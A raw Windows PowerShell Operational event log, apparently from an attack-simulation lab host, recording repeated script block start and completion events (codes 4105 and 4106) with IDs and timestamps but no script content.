LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033305
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033283
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033281
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033280
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033264
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033263
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033258
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
